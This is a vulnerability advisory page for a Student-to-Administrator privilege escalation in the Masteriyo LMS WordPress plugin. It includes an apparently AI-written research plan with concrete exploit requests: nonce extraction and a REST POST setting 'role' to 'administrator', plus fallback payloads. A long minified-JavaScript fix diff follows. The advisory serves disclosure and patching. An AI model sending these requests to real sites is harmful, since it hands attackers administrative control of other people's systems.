Masteriyo LMS <= 2.1.6 - Missing Authorization to Authenticated (Student+) Privilege Escalation to Administrator
Description
The Masteriyo LMS plugin for WordPress is vulnerable to Privilege Escalation in all versions up to, and including, 2.1.6. This is due to the plugin allowing a user to update the user role through the 'InstructorsController::prepare_object_for_database' function. This makes it possible for authenticated attackers, with Student-level access and above, to elevate their privileges to that of an administrator.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:HTechnical Details
<=2.1.6What Changed in the Fix
Changes introduced in v2.1.7
Source Code
WordPress.org SVN# Research Plan: CVE-2026-4484 Masteriyo LMS Privilege Escalation ## 1. Vulnerability Summary The **Masteriyo LMS** plugin (<= 2.1.6) contains a privilege escalation vulnerability within its REST API implementation. Specifically, the `InstructorsController::prepare_object_for_database` function fai…
Show full research plan
Research Plan: CVE-2026-4484 Masteriyo LMS Privilege Escalation
1. Vulnerability Summary
The Masteriyo LMS plugin (<= 2.1.6) contains a privilege escalation vulnerability within its REST API implementation. Specifically, the InstructorsController::prepare_object_for_database function fails to restrict which user properties can be updated. An authenticated user with Student privileges can send a crafted REST API request to the instructor-related endpoints and include a role parameter set to administrator. Because the plugin does not validate or sanitize this field against the current user's capabilities, it updates the user's WordPress role directly.
2. Attack Vector Analysis
- Endpoint:
/wp-json/masteriyo/v1/instructors/<id>(or/wp-json/masteriyo/v1/instructorsfor new applications). - Method:
POSTorPUT. - Vulnerable Parameter:
role. - Authentication: Requires any authenticated user (Student level is sufficient).
- Preconditions: The attacker must have a valid account and a REST API nonce (
wp_rest).
3. Code Flow
- The user sends a request to a route handled by
Masteriyo\Controllers\InstructorsController(typically registered under themasteriyo/v1namespace). - The
update_itemorcreate_itemmethod is triggered. - These methods call
prepare_object_for_database($request)to transform the JSON input into a format suitable for WordPress user meta or thewp_userstable. prepare_object_for_databaseiterates through the$requestparameters. Verbatim from the description, it processes theroleparameter.- The resulting object/array is passed to
wp_update_user()or a similar internal Masteriyo saving mechanism that eventually callsWP_User::set_role(). - The lack of a check like
current_user_can('promote_users')insideprepare_object_for_databasebefore processing therolekey allows the escalation.
4. Nonce Acquisition Strategy
Masteriyo LMS uses a global JavaScript object _MASTERIYO_ to store configuration and nonces.
- Identify Trigger: The Masteriyo Account page (shortcode
[masteriyo_account]) loads the necessary scripts. - Setup Page: Create a public page containing the shortcode.
wp post create --post_type=page --post_status=publish --post_title="My Account" --post_content='[masteriyo_account]'
- Navigate and Extract:
- Login as a Student user using the
browser_navigateandbrowser_typetools. - Navigate to the "My Account" page.
- Use
browser_evalto extract the REST nonce from the global object. - JS Variable:
window._MASTERIYO_?.rest_nonce(orwindow._MASTERIYO_?.nonce- check both). - The
masteriyo-account.jsfile confirmsconst p = window._MASTERIYO_;is the source of truth for the JS state.
- Login as a Student user using the
5. Exploitation Strategy
- Preparation:
- Login as a Student user.
- Identify the Student's User ID (e.g., via
/wp-json/wp/v2/users/me).
- HTTP Request (via
http_request):- URL:
http://localhost:8080/wp-json/masteriyo/v1/instructors/<YOUR_USER_ID> - Method:
POST(WordPress often usesPOSTwith_method=PUTor directPOSTfor updates). - Headers:
X-WP-Nonce:[EXTRACTED_NONCE]Content-Type:application/json
- Payload:
{ "role": "administrator" }
- URL:
- Alternative Payload (if ID-based update fails):
- Try creating a new instructor entry for the current user:
- URL:
http://localhost:8080/wp-json/masteriyo/v1/instructors - Method:
POST - Payload:
{"id": <USER_ID>, "role": "administrator"}
6. Test Data Setup
- Plugin Installation: Install Masteriyo LMS version 2.1.6.
- User Creation:
wp user create attacker attacker@example.com --role=subscriber(Masteriyo typically maps its "Student" role to subscriber or a custommasteriyo_studentrole).
- Page Setup:
wp post create --post_type=page --post_status=publish --post_content='[masteriyo_account]'(to extract nonces).
7. Expected Results
- Response: The server should return a
200 OKor201 Createdwith a JSON body reflecting the updated user object. - Body Content: Look for
"role": "administrator"in the returned JSON.
8. Verification Steps
- WP-CLI Role Check:
wp user get attacker --field=roles
- Outcome: If the command returns
administrator, the escalation was successful.
9. Alternative Approaches
- Parameter Nesting: If the top-level
roledoesn't work, try nesting it inside an object if the controller expects a specific schema:{"data": {"role": "administrator"}}. - Registration Endpoint: If the
InstructorsControllerhandles "Become an Instructor" applications, check the registration REST endpoint:/wp-json/masteriyo/v1/instructors/register. - Method Spoofing: If
POSTis blocked, usePOSTwith the headerX-HTTP-Method-Override: PUT.
Summary
The Masteriyo LMS plugin for WordPress is vulnerable to privilege escalation in versions up to 2.1.6 due to missing authorization in its REST API. Authenticated users with at least Student-level privileges can elevate their account to the Administrator role by sending a request to the instructor endpoints with a modified 'role' parameter. This exploit is possible because the 'InstructorsController::prepare_object_for_database' function does not verify if the requester has the authority to change user roles.
Security Fix
@@ -1 +1 @@ -<?php return array('dependencies' => array('react', 'react-dom', 'react-jsx-runtime', 'wp-api-fetch', 'wp-data', 'wp-date', 'wp-i18n', 'wp-polyfill'), 'version' => '0332b9eff0b4f56487a7'); +<?php return array('dependencies' => array('react', 'react-dom', 'react-jsx-runtime', 'wp-api-fetch', 'wp-data', 'wp-date', 'wp-i18n', 'wp-polyfill'), 'version' => 'cc0d77c3336671d74925'); @@ -11,7 +11,7 @@ // translators: %1$d is the number of pending content, %2$d is the total number of contents (0,S.__)("%1$d out of %2$d left","learning-management-system"),null==f||null===(s=f.total)||void 0===s?void 0:s.pending,(null==f||null===(c=f.total)||void 0===c?void 0:c.completed)+(null==f||null===(m=f.total)||void 0===m?void 0:m.pending)))),null!=f&&null!==(d=f.lesson)&&void 0!==d&&d.total?r().createElement(ue.ck,{pt:"6",pb:"6",borderTop:"1px",borderColor:"gray.100"},r().createElement(b.B,{direction:"row",spacing:"2"},r().createElement(sl.P,{value:x,size:"54px",capIsRound:!0,color:"primary.500"},r().createElement(cl.n,{fontWeight:"bold"},x+"%")),r().createElement(b.B,{direction:"column",spacing:"1"},r().createElement(_.E,{textTransform:"uppercase",fontSize:"x-small",color:"gray.500",fontWeight:"bold"},(0,S.__)("Lesson","learning-management-system")),r().createElement(_.E,{fontSize:"x-small",fontWeight:"bold",color:"primary.500"},null==f||null===(u=f.lesson)||void 0===u?void 0:u.completed,(0,S.__)(" Completed","learning-management-system")),r().createElement(_.E,{fontSize:"x-small",fontWeight:"bold",color:"gray.500"},null==f||null===(p=f.lesson)||void 0===p?void 0:p.pending,(0,S.__)(" Left","learning-management-system"))))):null,null!=f&&null!==(g=f.quiz)&&void 0!==g&&g.total?r().createElement(ue.ck,{pt:"6",pb:"6",borderTop:"1px",borderColor:"gray.100"},r().createElement(b.B,{direction:"row",spacing:"2"},r().createElement(sl.P,{value:O,size:"54px",capIsRound:!0,trackColor:"gray.100",color:"primary.500"},r().createElement(cl.n,{fontWeight:"bold"},O,"%")),r().createElement(b.B,{direction:"column",spacing:"1"},r().createElement(_.E,{textTransform:"uppercase",fontSize:"x-small",color:"gray.500",fontWeight:"bold"},(0,S.__)("Quiz","learning-management-system")),r().createElement(_.E,{fontSize:"x-small",fontWeight:"bold",color:"primary.500"},null==f||null===(h=f.quiz)||void 0===h?void 0:h.completed,(0,S.__)(" Completed","learning-management-system")),r().createElement(_.E,{fontSize:"x-small",fontWeight:"bold",color:"gray.500"},null==f||null===(E=f.quiz)||void 0===E?void 0:E.pending,(0,S.__)(" Left","learning-management-system"))))):null,Ba("google-meet")&&null!=z&&z.total?r().createElement(ue.ck,{borderTop:"1px",borderColor:"gray.100",pt:"6"},r().createElement(b.B,{direction:"row",spacing:"2"},r().createElement(sl.P,{value:k,size:"54px",capIsRound:!0,color:"primary.500",trackColor:"gray.100"},r().createElement(cl.n,{fontWeight:"bold"},k,"%")),r().createElement(b.B,{direction:"column",spacing:"1"},r().createElement(_.E,{textTransform:"uppercase",fontSize:"x-small",color:"gray.500",fontWeight:"bold"},(0,S.__)("Google Meet","learning-management-system")),r().createElement(_.E,{fontSize:"x-small",fontWeight:"bold",color:"primary.500"},null==z?void 0:z.completed,(0,S.__)(" Completed","learning-management-system")),r().createElement(_.E,{fontSize:"x-small",fontWeight:"bold",color:"gray.500"},null==z?void 0:z.pending,(0,S.__)(" Left","learning-management-system"))))):null)))};const ul=e=>{var t,{isOpen:n,onClose:l,courseId:o,ajaxNonce:i,ajaxUrl:s}=e,[c,m]=(0,a.useState)(!1),{register:d,handleSubmit:u,formState:{errors:p}}=(0,Se.mN)(),g=(0,ye.d)(),h=e=>{m(!0);var t=new FormData;t.append("action","masteriyo_course_password_protection"),t.append("nonce",i),t.append("course_id",o.toString()),t.append("password",e.password),Be()({url:s,method:"POST",body:t}).then((e=>{m(!1),e.success?(g({title:(0,S.__)("Access Granted","learning-management-system"),description:(0,S.__)("You've successfully accessed the course.","learning-management-system"),status:"success",isClosable:!0}),l(),window.location=e.data.start_url):g({title:(0,S.__)("Access Denied","learning-management-system"),description:(0,S.__)("The password you entered is incorrect.","learning-management-system"),status:"error",isClosable:!0})})).catch((e=>{m(!1),g({title:(0,S.__)("Error","learning-management-system"),description:e.data&&e.data.message?e.data.message:(0,S.__)("An error occurred while verifying the password.","learning-management-system"),status:"error",isClosable:!0})}))};return r().createElement(k.aF,{isOpen:n,onClose:l,isCentered:!0,size:"lg"},r().createElement(z.m,null),r().createElement(R.$,null,r().createElement(A.r,null,(0,S.__)("Course Access","learning-management-system")),r().createElement(j.s,null),r().createElement(P.c,{pb:6},r().createElement(_.E,{mb:4},(0,S.__)("This course is password protected. To access it please enter your password below:","learning-management-system")),r().createElement("form",{onSubmit:u(h)},r().createElement(_e.MJ,{isInvalid:!!p.password},r().createElement(we.l,null,(0,S.__)("Password","learning-management-system")),r().createElement(yn.p,(0,Ee.A)({type:"password"},d("password",{required:(0,S.__)("Password is required.","learning-management-system")}))),r().createElement(Tn.Wt,null,p.password&&(null===(t=p.password.message)||void 0===t?void 0:t.toString()))))),r().createElement(w.j,null,r().createElement(ft.e,null,r().createElement(x.$,{onClick:l,variant:"outline",colorScheme:"button"},(0,S.__)("Cancel","learning-management-system")),r().createElement(x.$,{colorScheme:"button",mr:3,onClick:u(h),isLoading:c,loadingText:(0,S.__)("Verifying...","learning-management-system")},(0,S.__)("Verify","learning-management-system"))))))};var pl=function(e){for(var t=e.split(/%s|%d|%f/g),n=[],a=0;a<t.length-1;a++)n.push(r().createElement(r().Fragment,{key:a+"_text"},t[a])),n.push(r().createElement(r().Fragment,{key:a+"_injected"},a+1<1||arguments.length<=a+1?void 0:arguments[a+1]));return t.length&&n.push(r().createElement(r().Fragment,{key:"last_item"},t[t.length-1])),r().createElement(r().Fragment,null,n)};const gl=e=>{var{courseName:t,onClose:n,isOpen:l,retakeUrl:o}=e,[i,s]=(0,a.useState)(!1),[c,m]=(0,a.useState)(""),d=r().useRef(),u=()=>{"CONFIRM"===c&&(s(!0),m(""),window.location.href=o)};return r().createElement(be.Lt,{isOpen:l,onClose:n,isCentered:!0,leastDestructiveRef:d,size:"2xl"},r().createElement(z.m,null,r().createElement(be.EO,null,r().createElement(A.r,null,(0,S.__)("Retake Course?","learning-management-system")),r().createElement(P.c,null,r().createElement(b.B,{spacing:4},r().createElement(_.E,{as:"p"},pl(/* translators: %s: course name */ /* translators: %s: course name */ (0,S._x)("Are you sure you want to retake the %s course? This action will permanently delete all your progress in this course.","Course retake confirmation prompt","learning-management-system"),r().createElement("strong",null,t))),r().createElement(b.B,null,r().createElement(_.E,{as:"p"},pl(/* translators: %s: confirmation keyword */ /* translators: %s: confirmation keyword */ -(0,S._x)('Please type %s and click on "Yes" to proceed.',"Danger action confirmation prompt","learning-management-system"),r().createElement("strong",null,"CONFIRM"))),r().createElement(yn.p,{ref:d,type:"text",value:c,onChange:e=>m(e.target.value),onKeyDown:e=>{"Enter"!==e.code&&"NumpadEnter"!==e.code||(e.preventDefault(),u())}})))),r().createElement(w.j,null,r().createElement(ft.e,null,r().createElement(x.$,{onClick:n,variant:"outline"},(0,S.__)("Cancel","learning-management-system")),r().createElement(x.$,{colorScheme:"primary",onClick:u,isLoading:i},(0,S.__)("Yes","learning-management-system")))))))};var hl={beginner:"var(--masteriyo-color-badge-green)",intermediate:"var(--masteriyo-color-warning)",expert:"var(--masteriyo-color-badge-pink)"};const El=e=>{var t,n,l,o,i,s,c,m,d,u,p,g,h,E,f,v,y,w,[C,O]=(0,a.useState)(!1),{course:z,started_at:k}=e.courseData,{onClose:R,onOpen:A,isOpen:j}=(0,ve.j)(),P=null==z||null===(t=z.progress_data)||void 0===t?void 0:t.summary,M=()=>{O(!0)};return z?r().createElement(ce.a,{w:"100%",borderWidth:"1px",borderColor:"icy-blue-gray",className:"mto-enrolled-course",rounded:"10px",mr:"auto",ml:{base:"unset",sm:"auto"},maxH:"fit-content"},r().createElement(ce.a,{as:"figure",pos:"relative",mt:0},r().createElement(de._,{src:null==z?void 0:z.featured_image_url,alt:null==z?void 0:z.name,height:"176px",width:"100%",objectFit:"cover",roundedTopLeft:"10px",roundedTopRight:"10px"}),(null==z?void 0:z.difficulty)&&r().createElement(An.vw,{colorScheme:"primary",size:"sm",borderRadius:"base",variant:"outline",color:"white",textTransform:"capitalize",py:"6px",px:3,fontSize:"xs",fontWeight:"medium",lineHeight:"18px",letterSpacing:"0.5px",pos:"absolute",top:"4",left:"4",bg:hl[null==z?void 0:z.difficulty.slug]?hl[null==z?void 0:z.difficulty.slug]:"blue.500",boxShadow:"none"},r().createElement(An.d1,null,null==z||null===(n=z.difficulty)||void 0===n?void 0:n.name))),r().createElement(b.B,{direction:"column",spacing:"6",p:5},r().createElement(b.B,{gap:3,width:"full",align:"start"},r().createElement(b.B,{direction:"column",spacing:"10px"},r().createElement(b.B,{direction:"row",spacing:"1",flexWrap:"wrap"},null==z||null===(l=z.categories)||void 0===l?void 0:l.map((e=>r().createElement(An.vw,{key:e.id,colorScheme:"primary",size:"sm",borderRadius:"base",border:"1px",borderColor:"icy-blue-gray",variant:"outline",color:"primary.500",textTransform:"uppercase",py:1,px:"10px",fontSize:"10px",fontWeight:"medium",lineHeight:"120%"},r().createElement(An.d1,null,null==e?void 0:e.name))))),r().createElement(b.B,{justifyContent:"space-between",alignItems:"start",spacing:0},r().createElement(se.D,{as:"h3",fontSize:"md",fontWeight:"semibold",color:"oxford-night",lineHeight:"26px"},"".concat(null==z?void 0:z.name)))),r().createElement(ke.z,{direction:"row",align:"center",justify:"space-between",w:"full",gap:5},r().createElement(ke.z,{flexGrow:1,gap:2},r().createElement($t.e,{src:null==z||null===(o=z.author)||void 0===o?void 0:o.avatar_url,size:"sm"}),r().createElement(_.E,{color:"saint-blue",fontSize:"15px",fontWeight:"medium",lineHeight:"25px"},null==z||null===(i=z.author)||void 0===i?void 0:i.display_name)),r().createElement(dn.m,{hasArrow:!0,label:null!=z&&z.review_count?"".concat((0,S.__)("Average Rating:","learning-management-system")," ").concat(Number(z.average_rating)," (").concat(Number(null==z?void 0:z.review_count)," ").concat((0,S.__)("reviews","learning-management-system"),")"):"".concat((0,S.__)("Average Rating:","learning-management-system")," ").concat(Number(z.average_rating)),fontSize:"sm",placement:"top"},r().createElement(ke.z,{gap:1.5},r().createElement(Re.I,{as:ka,color:"#E59819",fill:"currentColor"}),r().createElement(_.E,{color:"saint-blue",fontSize:"15px",fontWeight:"medium",lineHeight:"25px"},null!=z&&z.review_count?"".concat(Number(z.average_rating)," (").concat(Number(null==z?void 0:z.review_count),")"):"".concat(Number(z.average_rating))))))),"completed"!==(null==z||null===(s=z.progress_data)||void 0===s?void 0:s.status)&&r().createElement(b.B,null,!(null!=z&&z.google_classroom_course_url)&&r().createElement(ke.z,null,r().createElement(ke.z,{gap:2,flexGrow:1},r().createElement(_.E,{color:"oxford-night",fontSize:"xl",fontWeight:"semibold",lineHeight:"30px"},null==z||null===(c=z.progress_data)||void 0===c?void 0:c.percentage,"%"),r().createElement(_.E,{color:"saint-blue",fontSize:"sm",fontWeight:"normal",lineHeight:"24px"},(0,S.__)(" Completed","learning-management-system"))),P&&r().createElement(dl,{summary:P})),r().createElement(il.k,{rounded:"full",size:"xs",value:null==z||null===(m=z.progress_data)||void 0===m?void 0:m.percentage,max:100,colorScheme:"primary"})),r().createElement(b.B,{direction:"row",spacing:"4",justify:{base:"center",sm:"space-between"},align:"center",color:"gray.500",fontSize:"xs",flexWrap:{base:"wrap",sm:"nowrap"}},r().createElement(ke.z,{w:"full"},null!=z&&z.enable_course_retake&&"completed"===(null==z||null===(d=z.progress_data)||void 0===d?void 0:d.status)&&!K(null==z||null===(u=z.progress_data)||void 0===u?void 0:u.retake_url)?r().createElement(x.$,{size:"sm",variant:"link",textDecoration:"underline",onClick:A,colorScheme:"button"},(0,S.__)("Retake","learning-management-system")):null,z.google_classroom_course_url?r().createElement(pe.N,{href:null==z?void 0:z.google_classroom_course_url},r().createElement(x.$,{title:"draft"===(null==z?void 0:z.status)?(0,S.__)("Course might be drafted.","learning-management-system"):"",size:"sm",borderRadius:"full",colorScheme:"button",isDisabled:"draft"===(null==z?void 0:z.status),onClick:e=>{null!=z&&z.is_password_required&&(e.preventDefault(),M())},leftIcon:null!=z&&z.is_password_required?r().createElement(Re.I,{as:tn.cF2,boxSize:4}):void 0},(0,S.__)("Classroom","learning-management-system")),C&&r().createElement(ul,{isOpen:C,onClose:()=>O(!1),courseId:null==z?void 0:z.id,ajaxNonce:Pt.PasswordProtectedNonce,ajaxUrl:Pt.ajaxUrl})):r().createElement(pe.N,{w:"full",href:"progress"===(null==z||null===(p=z.progress_data)||void 0===p?void 0:p.status)?null==z?void 0:z.continue_course_url:null==z?void 0:z.start_course_url},r().createElement(x.$,{title:"draft"===(null==z?void 0:z.status)?(0,S.__)("Course might be drafted.","learning-management-system"):"",size:"md",colorScheme:"button",isDisabled:"draft"===(null==z?void 0:z.status)||"completed"===(null==z||null===(g=z.progress_data)||void 0===g?void 0:g.status),onClick:e=>{null!=z&&z.is_password_required&&(e.preventDefault(),M())},leftIcon:null!=z&&z.is_password_required?r().createElement(Re.I,{as:tn.cF2,boxSize:4}):"completed"===(null==z||null===(h=z.progress_data)||void 0===h?void 0:h.status)?r().createElement(Re.I,{fontSize:"xl",as:Ra,color:"green.400"}):void 0,fontSize:"15px",fontWeight:"semibold",lineHeight:"25px",w:"full",variant:"completed"===(null==z||null===(E=z.progress_data)||void 0===E?void 0:E.status)?"link":"solid",color:"draft"===(null==z?void 0:z.status)||"completed"===(null==z||null===(f=z.progress_data)||void 0===f?void 0:f.status)?"#07092F":"white"},"completed"===(null==z||null===(v=z.progress_data)||void 0===v?void 0:v.status)?(0,S.__)("Course Completed","learning-management-system"):"progress"===(null==z||null===(y=z.progress_data)||void 0===y?void 0:y.status)?(0,S.__)("Continue","learning-management-system"):(0,S.__)("Start Course","learning-management-system")),C&&r().createElement(ul,{isOpen:C,onClose:()=>O(!1),courseId:null==z?void 0:z.id,ajaxNonce:Pt.PasswordProtectedNonce,ajaxUrl:Pt.ajaxUrl}))),r().createElement(gl,{courseName:null==z?void 0:z.name,retakeUrl:(null==z||null===(w=z.progress_data)||void 0===w?void 0:w.retake_url)||"",isOpen:j,onClose:R})))):r().createElement(r().Fragment,null)};var fl=n(14195),vl=n(20454),yl=n(46506);const bl=()=>{var e=e=>r().createElement(Re.I,{sx:{fontSize:"1.5rem"}},e);return{Option:t=>r().createElement(yl.jA.Option,t,r().createElement(b.B,{direction:"row",spacing:"2"},t.data.icon&&e(t.data.icon),r().createElement(_.E,null,t.label))),SingleValue:t=>r().createElement(yl.jA.SingleValue,t,r().createElement(b.B,{direction:"row",spacing:"2"},t.data.icon&&e(t.data.icon),r().createElement(_.E,null,t.data.label))),DropdownIndicator:e=>r().createElement(yl.jA.DropdownIndicator,e,r().createElement(Re.I,{as:tn.nwe}))}};function _l(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);t&&(a=a.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,a)}return n}function wl(e){var t=(0,Ee.A)({},((0,vl.A)(e),e)),n=function(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?_l(Object(n),!0).forEach((function(t){(0,u.A)(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):_l(Object(n)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}({},Ur);return r().createElement(yl.l6,(0,Ee.A)({chakraStyles:n,components:bl(),colorScheme:"primary"},t))}const xl=e=>React.createElement("svg",(0,Ee.A)({xmlns:"http://www.w3.org/2000/svg",width:24,height:24,fill:"none",viewBox:"0 0 24 24",role:"img"},e),React.createElement("path",{fill:"#000",fillRule:"evenodd",d:"M11 4a7 7 0 1 0 0 14 7 7 0 0 0 0-14m-9 7a9 9 0 1 1 18 0 9 9 0 0 1-18 0",clipRule:"evenodd"}),React.createElement("path",{fill:"#000",fillRule:"evenodd",d:"M15.943 15.943a1 1 0 0 1 1.414 0l4.35 4.35a1 1 0 0 1-1.414 1.414l-4.35-4.35a1 1 0 0 1 0-1.414",clipRule:"evenodd"}));function Sl(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);t&&(a=a.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,a)}return n}function Cl(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?Sl(Object(n),!0).forEach((function(t){(0,u.A)(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):Sl(Object(n)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}function Ol(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);t&&(a=a.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,a)}return n}var zl=[{label:(0,S._x)("All","Course price text","learning-management-system"),value:"all"},{label:(0,S._x)("Paid","Course price text","learning-management-system"),value:"paid"}];const kl=function(e){var t,[n,l]=(0,a.useState)([]),{filterParams:o,setFilterParams:i}=e,{handleSubmit:s,control:c}=(0,Se.mN)(),m=new qe(Fe.categories),d=(0,sr.q)(function(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?Ol(Object(n),!0).forEach((function(t){(0,u.A)(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):Ol(Object(n)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}({queryKey:["categoryLists"],queryFn:e=>{var{pageParam:t}=e;return m.list({per_page:10,page:t})},initialPageParam:1},{retry:!1,getNextPageParam:e=>e.meta.current_page>=e.meta.pages?void 0:e.meta.current_page+1})),{hasNextPage:p,fetchNextPage:g,isFetchingNextPage:h}=d,E=(0,fl.z)({onTypeFinish:e=>{i({search:e,category:o.category,enrollmentStatus:o.enrollmentStatus,status:null==o?void 0:o.status})}},800),f=e=>{var t,n="";e.enrollmentStatus&&"all"===e.enrollmentStatus.value&&(n=""),e.enrollmentStatus&&"paid"===e.enrollmentStatus.value&&(n="paid"),i($(J(e,{search:null==o?void 0:o.search,category:null===(t=e.category)||void 0===t?void 0:t.value,enrollmentStatus:n,status:null==o?void 0:o.status})))};return(0,a.useEffect)((()=>{if(null!=d&&d.isSuccess){var e,t=[];null==d||null===(e=d.data)||void 0===e||null===(e=e.pages)||void 0===e||e.forEach((e=>{e.data.forEach((e=>{t.push(e)}))})),l(function(e){var t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:-1,n=[],a=[],r=function(n){var l=arguments.length>1&&void 0!==arguments[1]?arguments[1]:1,o=[];return e.filter((e=>e.parent_id===n.id&&e.id!==t)).forEach((e=>{a.push(e.id),o.push(Cl(Cl({},e),{},{depth:l})),o=o.concat(r(e,l+1))})),o};return e.filter((e=>0===e.parent_id&&e.id!==t)).forEach((e=>{a.push(e.id),n.push(Cl(Cl({},e),{},{depth:0})),n=n.concat(r(e))})),n=e.filter((e=>!a.includes(e.id))).map((e=>Cl(Cl({},e),{},{depth:0}))).concat(n)}(t).map((e=>({value:e.id,label:"— ".repeat(e.depth)+e.name}))))}}),[null==d?void 0:d.isSuccess,null==d||null===(t=d.data)||void 0===t?void 0:t.pages]),r().createElement("form",{onChange:s(f),style:{width:"100%"}},r().createElement($n.x,{gridTemplateColumns:{md:"2.5fr 2.5fr 1.5fr"},gap:"6"},r().createElement(_e.MJ,{w:"100%"},r().createElement(kn.M,null,r().createElement(Rn.W,null,r().createElement(Re.I,{as:xl})),r().createElement(yn.p,(0,Ee.A)({w:"100%",placeholder:(0,S.__)("Search courses","learning-management-system")},E)))),r().createElement(_e.MJ,{w:"100%"},r().createElement(Se.xI,{name:"category",control:c,render:e=>{var{field:{onChange:t,value:a}}=e;return r().createElement(wl,{placeholder:(0,S.__)("All Categories","learning-management-system"),onChange:function(){t(...arguments),s(f)()},value:a,closeMenuOnSelect:!0,isClearable:!0,options:n,isLoading:h,onMenuScrollToBottom:()=>{p&&g()},noOptionsMessage:e=>{var{inputValue:t}=e;return t.length>0?(0,S.__)("No categories found.","learning-management-system"):(0,S.__)("No categories.","learning-management-system")}})}})),r().createElement(_e.MJ,{w:"100%"},r().createElement(Se.xI,{name:"enrollmentStatus",control:c,render:e=>{var{field:{onChange:t,value:n}}=e;return r().createElement(wl,{onChange:function(){t(...arguments),s(f)()},isClearable:!0,value:n,options:zl,placeholder:(0,S.__)("Pricing","learning-management-system"),isSearchable:!1})}}))))};const Rl=()=>{var e,t,n,[l,o]=(0,a.useState)({status:"active"}),i=new qe(Fe.myCourses),s=(0,rt.I)({queryKey:["myCourses",l],queryFn:()=>i.list(l)});return r().createElement(y.T,{gap:6,align:"flex-start",w:"full"},r().createElement(y.T,{gap:"30px",align:"flex-start",w:"full"},r().createElement(gt,{title:(0,S.__)("Your Courses","learning-management-system")}),r().createElement(kl,{setFilterParams:o,filterParams:l})),r().createElement(b.B,{direction:"column",spacing:"6",className:"mto-enrolled-courses-wrapper",w:"full"},s.isSuccess&&r().createElement(r().Fragment,null,r().createElement(_a.r,{columns:{base:1,md:2,xl:"no"===(null==Pt?void 0:Pt.showHeaderFooter)?4:3},spacing:"6",className:"mto-enrolled-courses-list"},null==s||null===(e=s.data)||void 0===e||null===(e=e.data)||void 0===e?void 0:e.map((e=>r().createElement(El,{key:null==e?void 0:e.id,courseData:e})))),s.isSuccess?K(null==s||null===(t=s.data)||void 0===t?void 0:t.data)?r().createElement(Mt,{showButton:!1,text:null!=l&&l.category||null!=l&&l.enrollmentStatus||null!=l&&l.search?(0,S.__)("No Courses Found","learning-management-system"):(0,S.__)("You don't have any course in progress.","learning-management-system")}):r().createElement(Xt,{metaData:null==s||null===(n=s.data)||void 0===n?void 0:n.meta,setFilterParams:o,extraFilterParams:{status:null==l?void 0:l.status},perPageText:(0,S.__)("Courses Per Page:","learning-management-system")}):null),s.isLoading&&r().createElement(wa,null)))};const Al=e=>React.createElement("svg",(0,Ee.A)({xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",role:"img"},e),React.createElement("path",{d:"M11.143 21V7a.857.857 0 1 1 1.714 0v14a.857.857 0 1 1-1.714 0"}),React.createElement("path",{d:"M21.143 4A.143.143 0 0 0 21 3.857h-5a3.144 3.144 0 0 0-3.14 2.986L12.858 7l-.005.087A.857.857 0 0 1 11.142 7 3.143 3.143 0 0 0 8 3.857H3A.144.144 0 0 0 2.857 4v13a.144.144 0 0 0 .143.143h6a3.86 3.86 0 0 1 3 1.433 3.85 3.85 0 0 1 3-1.433h6a.14.14 0 0 0 .143-.144zm1.714 13A1.86 1.86 0 0 1 21 18.856h-6a2.144 2.144 0 0 0-2.143 2.142l-.005.089a.857.857 0 0 1-1.705 0l-.004-.089-.01-.211A2.143 2.143 0 0 0 9 18.857H3a1.86 1.86 0 0 1-1.857-1.858V4A1.86 1.86 0 0 1 3 2.143h5a4.86 4.86 0 0 1 4 2.103 4.86 4.86 0 0 1 4-2.103h5A1.86 1.86 0 0 1 22.857 4z"}));const jl=e=>React.createElement("svg",(0,Ee.A)({xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",role:"img"},e),React.createElement("path",{d:"M9.143 2a.857.857 0 1 1 1.714 0v5.93l1.537-1.537.065-.058a.857.857 0 0 1 1.147.058l1.537 1.537V2a.857.857 0 1 1 1.714 0v8a.857.857 0 0 1-1.463.605L13 8.211l-2.394 2.394A.857.857 0 0 1 9.143 10z"}),React.createElement("path",{d:"M19.143 3A.144.144 0 0 0 19 2.857H6.5A1.643 1.643 0 0 0 4.857 4.5v12.072a3.36 3.36 0 0 1 1.643-.43h12.643zM4.866 19.662a1.64 1.64 0 0 0 1.634 1.48H19a.144.144 0 0 0 .143-.142v-3.143H6.5A1.643 1.643 0 0 0 4.857 19.5zM20.857 21A1.86 1.86 0 0 1 19 22.857H6.5a3.36 3.36 0 0 1-3.353-3.19l-.004-.167v-15A3.357 3.357 0 0 1 6.5 1.143H19A1.86 1.86 0 0 1 20.857 3z"}));const Pl=e=>React.createElement("svg",(0,Ee.A)({xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",role:"img"},e),React.createElement("path",{d:"M10.86 4.498a2.75 2.75 0 0 1 2.28 0l8.572 3.904a1.747 1.747 0 0 1 .775 2.553 1.75 1.75 0 0 1-.765.654v-.001l-8.582 3.896a2.75 2.75 0 0 1-2.28-.001l-8.571-3.908a1.751 1.751 0 0 1 0-3.197l8.57-3.9ZM2.75 9.997a.25.25 0 0 0 .15.228l.01.005 8.57 